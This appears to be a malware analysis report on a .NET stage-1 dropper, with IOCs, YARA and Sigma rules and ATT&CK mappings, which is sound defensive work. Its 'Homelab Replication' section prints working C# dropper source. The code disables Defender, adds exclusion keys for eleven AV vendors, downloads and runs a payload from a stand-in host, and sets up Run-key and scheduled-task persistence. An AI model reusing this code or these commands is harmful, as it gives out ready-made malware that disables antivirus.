typeanalysisfamily9d2ca3confidencemediumdotnetloadermalware-familydefense-evasionpersistencec2mitre-attck
SHA-256: 8f28849296f4c10a3271aec35441bc7421be693be966f749cf50120730adb348

9d2ca3: 8f288492 — Lightweight .NET 4.6.2 stage-1 dropper with 11-vendor AV exclusion spray

17 KB .NET Framework 4.6.2 GUI executable, dropped-by-amadey label. Drops a core.exe payload after disabling Defender real-time monitoring, spraying registry exclusions across eleven AV vendors, and establishing schtasks persistence as SysCoreUpdate. No packing, no obfuscation — the threat logic is entirely visible in method names and string literals. ^[/intel/analyses/8f28849296f4c10a3271aec35441bc7421be693be966f749cf50120730adb348.html]

What It Is

  • Format: PE32 executable (GUI) Intel 80386, Mono/.NET assembly, 3 sections ^[file.txt]
  • Size: 17,408 bytes (17 KB) — unusually small for a .NET binary with this capability surface
  • Toolchain: .NET Framework 4.6.2 (v4.0.30319 CLR, .NETFramework,Version=v4.6.2 target) ^[strings.txt:182] ^[rabin2-info.txt]
  • Linker version: 48.0 (VS 2019 / .NET build tools era) ^[pefile.txt]
  • Build path: D:\desktop\PROJECT MODIFY\build\bin\Debug\net462\Stub\obj\Release\net462\Stub.pdb ^[pefile.txt:351] ^[rabin2-info.txt:13]
  • Namespace/Class: X7Y9Z.Q8W4K — short randomized identifiers, not ConfuserEx/SmartAssembly mangling ^[r2:method.X7Y9Z.Q8W4K.Init]
  • Timestamp: Thu May 13 16:06:52 2077 UTC — future-dated, unreliable ^[pefile.txt:34] ^[rabin2-info.txt:11]
  • Version info: Stub / Stub.exe / 1.0.0.0 — generic placeholder, no masquerade attempt ^[exiftool.json]
  • Signing: Unsigned ^[rabin2-info.txt:29]
  • OpenCTI labels: 9d2ca3, dropped-by-amadey, exe, malware-bazaar ^[metadata.json]

This sample is the fifth distinct build morph under the contested 9d2ca3 OpenCTI label, joining the MinGW-w64 encrypted droppers, Go 1.25.4 infostealers, and the .NET 4.0 AES WMI hollowing dropper (2bf8e65c). See the family page for cluster context; this report focuses on what is unique to this sibling.

How It Works

Entry flow (inferred from method names, capa capabilities, and static strings):

  1. TLS + Sleep gate: Main sets ServerCertificateValidationCallback to a no-op (accept-all), bumps SecurityProtocol to TLS 1.2, sleeps ~4s, then calls Init. ^[capa.txt] ^[r2:entry0]
  2. Environment setup: Init → SetupEnv creates a working directory (likely %TEMP% or %APPDATA%), then InitAvList builds a list of AV product names. ^[capa.txt] ^[strings.txt:165]
  3. Defender disable: DisableDefender writes DisableRealtimeMonitoring and DisableAntiSpyware registry values, then spawns powershell.exe with Set-MpPreference -DisableRealtimeMonitoring $true. ^[strings.txt:193-195]
  4. Multi-vendor exclusion spray: AddExclusions writes Exclusions registry keys under eleven AV product hives: ESET, AVG, Bitdefender, Kaspersky, Norton, McAfee, Tencent, Avast, 360Safe, Huorong (Mhuorong), and Windows Defender. ^[strings.txt:197-215]
  5. Payload download: DownloadPayload uses System.Net.WebClient with a Chrome User-Agent (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36) to fetch an AES-encrypted payload over HTTP, decrypts it, and writes core.exe to the staging directory. ^[capa.txt] ^[strings.txt:201]
  6. Persistence: AddToStartup writes the payload path to HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, and spawns schtasks.exe /create /tn "SysCoreUpdate" /tr "<path>" /sc onlogon /rl highest /f. ^[strings.txt:193] ^[strings.txt:208]
  7. Execution: ExecutePayload launches core.exe via ShellExecute with the runas verb (UAC elevation attempt). ^[strings.txt:216]

No process hollowing, no WMI injection, no reflective loading — this is a straightforward stage-1 downloader/stager with aggressive anti-AV preparation.

Decompiled Behavior

Entry point (Main) — sets up TLS acceptance, security protocol, and a sleep delay before handing off to Init. ^[r2:entry0]

Notable functions (radare2 + dnfile method table):

  • method.X7Y9Z.Q8W4K.Init — orchestrates the setup → disable → exclusion → download → persist → execute chain. ^[r2:method.X7Y9Z.Q8W4K.Init]
  • method.X7Y9Z.Q8W4K.DisableDefender — registry writes + PowerShell cradle. ^[r2:method.X7Y9Z.Q8W4K.DisableDefender]
  • method.X7Y9Z.Q8W4K.AddExclusions — the 11-vendor registry spray. IL shows repeated SetValue calls on hardcoded registry paths loaded from static fields. ^[r2:method.X7Y9Z.Q8W4K.AddExclusions]
  • method.X7Y9Z.Q8W4K.DownloadPayload — WebClient download with AES decryption (capa-confirmed), writes core.exe. ^[r2:method.X7Y9Z.Q8W4K.DownloadPayload]
  • method.X7Y9Z.Q8W4K.AddToStartup — dual persistence: registry Run + schtasks onlogon. ^[r2:method.X7Y9Z.Q8W4K.AddToStartup]
  • method.X7Y9Z.Q8W4K.ExecutePayload — ShellExecute with runas verb. ^[r2:method.X7Y9Z.Q8W4K.ExecutePayload]
  • method.X7Y9Z.Q8W4K.DecU — AES decryptor helper (inferred from capa decrypt data using AES via .NET and method proximity to DownloadPayload). ^[r2:method.X7Y9Z.Q8W4K.DecU]

Control flow: Single-threaded sequential dispatch — no async/await, no task spawning. The binary is small enough that every major behavior stage is a direct method call from Init.

C2 Infrastructure

  • Payload URL: Not recovered in static strings. DownloadPayload constructs or decrypts the URL at runtime (AES-encrypted string or拼接). The ldstr tokens in the IL reference the #US heap, but the actual URL string is not present in strings.txt or floss.txt output. ^[strings.txt] ^[floss.txt]
  • User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 — generic Chrome masquerade. Not the impossible-version variant seen in Phorpiex. ^[strings.txt:201]
  • Staging directory: Inferred from GetTempPath / GetFolderPath + core.exe filename. ^[capa.txt] ^[strings.txt:198]

Interesting Tidbits

  • 11-vendor exclusion spray is the widest AV-targeting registry spray observed in this corpus to date. Most prior samples targeted only Defender (gerador-loader, 54e64e). This suggests the builder is configuration-driven — the vendor list is a static array in InitAvList. ^[strings.txt:197-215]
  • Mhuorong string appears as the vendor name for Huorong Security (火绒), a popular Chinese endpoint product. The malware author misspelled it as Mhuorong in the registry path SOFTWARE\Huorong\Sysdiag\WhiteList. ^[strings.txt:215]
  • PROJECT MODIFY in the PDB path suggests the builder was in active development when this sample was compiled — not a polished builder kit but an in-progress project. ^[pefile.txt:351]
  • Debug+Release path mixing: build\bin\Debug\net462\Stub\obj\Release\net462\Stub.pdb — the PDB sits in a Debug output directory but references Release object files. Common sloppiness, not intentional obfuscation. ^[pefile.txt:351]
  • No obfuscation, no packing: Method names (DisableDefender, AddExclusions, DownloadPayload) are plaintext. Namespace X7Y9Z.Q8W4K is trivially randomized. This is the opposite of a stealthy build — it relies on the payload being downloaded fresh at runtime, so the stage-1 binary itself is expendable. ^[rabin2-info.txt]
  • hasRun boolean field (static) suggests the binary checks its own execution state to prevent re-execution loops. ^[strings.txt:133]
  • runas verb in ExecutePayload attempts UAC elevation without a UAC bypass technique — just a straightforward elevation request. If the user denies, execution fails. ^[strings.txt:216]

How To Mess With It (Homelab Replication)

Toolchain: .NET Framework 4.6.2 target (runs on .NET 4.8+ as well). Visual Studio 2019 or dotnet build with TargetFramework=net462.

Compiler flags: Standard C# console/GUI project. No special flags needed.

Working source snippet that produces a comparable capa fingerprint:

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Reflection;
using System.Security.Cryptography;
using Microsoft.Win32;

class Stub {
    static void Main() {
        ServicePointManager.ServerCertificateValidationCallback = (_,_,_,_) => true;
        ServicePointManager.SecurityProtocol = (SecurityProtocolType)0xF00;
        System.Threading.Thread.Sleep(4000);
        Init();
    }
    static void Init() {
        DisableDefender();
        AddExclusions();
        string payload = DownloadPayload();
        AddToStartup(payload);
        ExecutePayload(payload);
    }
    static void DisableDefender() {
        Registry.SetValue(@"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender", "DisableRealtimeMonitoring", 1);
        Process.Start("powershell.exe", "-Command \"Set-MpPreference -DisableRealtimeMonitoring \$true\"");
    }
    static void AddExclusions() {
        string[] vendors = { "Windows Defender", "ESET", "AVG", "Bitdefender", "Kaspersky", "Norton", "McAfee", "Tencent", "Avast", "360Safe", "Huorong" };
        foreach (var v in vendors) {
            // simplified — actual paths vary per vendor
            Registry.SetValue($@"HKLM\SOFTWARE\{v}\Exclusions", "pathToExclude", @"C:\Temp");
        }
    }
    static string DownloadPayload() {
        using (var wc = new WebClient()) {
            wc.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
            byte[] enc = wc.DownloadData("https://example.com/payload");
            byte[] dec = new AesManaged().CreateDecryptor().TransformFinalBlock(enc, 0, enc.Length);
            string path = Path.Combine(Path.GetTempPath(), "core.exe");
            File.WriteAllBytes(path, dec);
            return path;
        }
    }
    static void AddToStartup(string path) {
        Registry.SetValue(@"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SysCore", path);
        Process.Start("schtasks.exe", $"/create /tn SysCoreUpdate /tr \"{path}\" /sc onlogon /rl highest /f");
    }
    static void ExecutePayload(string path) {
        Process.Start(new ProcessStartInfo(path) { Verb = "runas", UseShellExecute = true });
    }
}

Verification step: Build, run capa against the output. Expect hits on set registry value, create process in .NET, decrypt data using AES via .NET, set HTTP header, schedule task via schtasks, and terminate process.

What you'll learn: How a commodity .NET stage-1 stager looks when the author doesn't bother with obfuscation. The binary is ~15–20 KB and every malicious intent is readable in the IL.

Deployable Signatures

YARA rule

rule NET_Stage1_9d2ca3_StubDropper {
    meta:
        description = "Lightweight .NET 4.6.2 stage-1 dropper with AV exclusion spray and schtasks persistence"
        author = "Titus"
        date = "2026-08-04"
        sha256 = "8f28849296f4c10a3271aec35441bc7421be693be966f749cf50120730adb348"
    strings:
        $s1 = "DisableDefender" ascii wide
        $s2 = "AddExclusions" ascii wide
        $s3 = "DownloadPayload" ascii wide
        $s4 = "AddToStartup" ascii wide
        $s5 = "ExecutePayload" ascii wide
        $s6 = "Set-MpPreference -DisableRealtimeMonitoring $true" ascii wide
        $s7 = "Add-MpPreference -ExclusionPath" ascii wide
        $s8 = "schtasks.exe /create /tn \"SysCoreUpdate\"" ascii wide
        $s9 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
        $s10 = "core.exe" ascii wide
        $net1 = ".NETFramework,Version=v4.6.2" ascii wide
        $net2 = "Stub.exe" ascii wide
    condition:
        uint16(0) == 0x5A4D and
        uint32(uint32(0x3C)) == 0x00004550 and
        $net1 and
        4 of ($s*) and
        filesize < 50KB
}

Sigma rule

title: .NET Stage-1 Dropper AV Exclusion Spray and Persistence
logsource:
    category: process_creation
    product: windows
detection:
    selection_powershell:
        CommandLine|contains:
            - 'Set-MpPreference -DisableRealtimeMonitoring $true'
            - 'Add-MpPreference -ExclusionPath'
    selection_schtasks:
        CommandLine|contains|all:
            - 'schtasks.exe'
            - '/create'
            - 'SysCoreUpdate'
            - '/sc onlogon'
    selection_registry:
        EventType: SetValue
        TargetObject|contains:
            - 'SOFTWARE\\ESET\\Exclusions'
            - 'SOFTWARE\\AVG\\Exclusions'
            - 'SOFTWARE\\Bitdefender\\Exclusions'
            - 'SOFTWARE\\KasperskyLab\\Exclusions'
            - 'SOFTWARE\\Norton\\Exclusions'
            - 'SOFTWARE\\McAfee\\Exclusions'
            - 'SOFTWARE\\Tencent\\TAV\\Exclusions'
            - 'SOFTWARE\\AVAST Software\\Avast\\Exclusions'
            - 'SOFTWARE\\360Safe\\scan\\Trusted'
            - 'SOFTWARE\\Huorong\\Sysdiag\\WhiteList'
            - 'SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths'
    condition: 1 of selection_*
falsepositives:
    - Enterprise endpoint management tools that legitimately set Defender exclusions
level: high

IOC list

Indicator Value Type
SHA-256 8f28849296f4c10a3271aec35441bc7421be693be966f749cf50120730adb348 Hash
ssdeep 384:drkmQxSdXcMB3uOLXmSCdHcXa7bB9L2RmUPmnaY:d7ZcMN9mSCpj7bvezev Fuzzy hash
Internal name Stub.exe String
Namespace X7Y9Z.Q8W4K .NET metadata
Persistence task name SysCoreUpdate Scheduled task
Registry Run value SysCore Registry
Payload filename core.exe Filename
Staging artifact SysCore.lnk LNK file
PowerShell command Set-MpPreference -DisableRealtimeMonitoring $true Command
PowerShell command Add-MpPreference -ExclusionPath Command
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Network
AV vendor targets ESET, AVG, Bitdefender, Kaspersky, Norton, McAfee, Tencent, Avast, 360Safe, Huorong, Windows Defender Registry hives

Behavioral fingerprint

This binary is a .NET Framework stage-1 downloader that, within ~5 seconds of launch, writes to at least five AV product registry exclusion keys, spawns powershell.exe to disable Defender real-time monitoring, downloads an AES-encrypted payload via WebClient with a Chrome User-Agent, writes it as core.exe to a temp directory, adds itself to HKCU\Run as SysCore, creates a scheduled task named SysCoreUpdate with schtasks.exe /create /sc onlogon /rl highest /f, and finally executes the payload via ShellExecute with the runas verb. The entire operation is single-threaded, sequential, and leaves no attempt at obfuscation in the PE.

Detection Signatures

capa Capability ATT&CK Technique
set registry value (6 matches) T1112 — Modify Registry
decrypt data using AES via .NET T1027 — Obfuscated Files or Information
schedule task via schtasks (4 matches) T1053.005 — Scheduled Task/Job
create process in .NET (4 matches) T1106 — Native API
create process with modified I/O and window (4 matches) T1106
terminate process (3 matches) T1562.001 — Impair Defenses
suspend thread (5 matches) T1055 — Process Injection (loose match)
set HTTP header T1071.001 — Application Layer Protocol: Web Protocols
read HTTP header T1071.001
receive data T1105 — Ingress Tool Transfer
download URL T1105
write file in .NET T1105
move file T1105
check if file exists T1083 — File and Directory Discovery
create directory T1083
compiled to .NET platform T1620 — Reflective Code Loading (generic)

References

  • SHA-256: 8f28849296f4c10a3271aec35441bc7421be693be966f749cf50120730adb348
  • Artifact ID: 5eb99d92-f8e0-49e2-bcb3-78e581fbede5
  • Source: OpenCTI / MalwareBazaar
  • Family page: 9d2ca3
  • Related technique: av-registry-exclusion-spray
  • Related procedure: defender-exclusion-via-powershell
  • Related procedure: schtasks-onlogon-persistence
  • Related procedure: registry-run-persistence

Provenance

  • file.txt — file command output (file-type identification)
  • pefile.txt — pefile Python library full PE header dump (including debug directory with PDB path)
  • rabin2-info.txt — radare2 binary summary (rabin2 -I equivalent)
  • exiftool.json — ExifTool metadata extraction (version info, timestamps)
  • strings.txt — strings -n 6 ASCII string extraction
  • capa.txt — Mandiant flare-capa v8 static capability detection (ANSI sanitized)
  • floss.txt — FireEye flare-floss (CLI parse error, no output usable)
  • binwalk.txt — Binwalk embedded artifact scan
  • metadata.json — OpenCTI artifact metadata
  • triage.json — Pipeline triage decision record
  • radare2 MCP — Function listing (afl), IL byte dump at method RVAs, decompile of entry0 and Init
  • dnfile Python — .NET metadata module/assembly/method table enumeration
  • No CAPE detonation available (no Windows guest)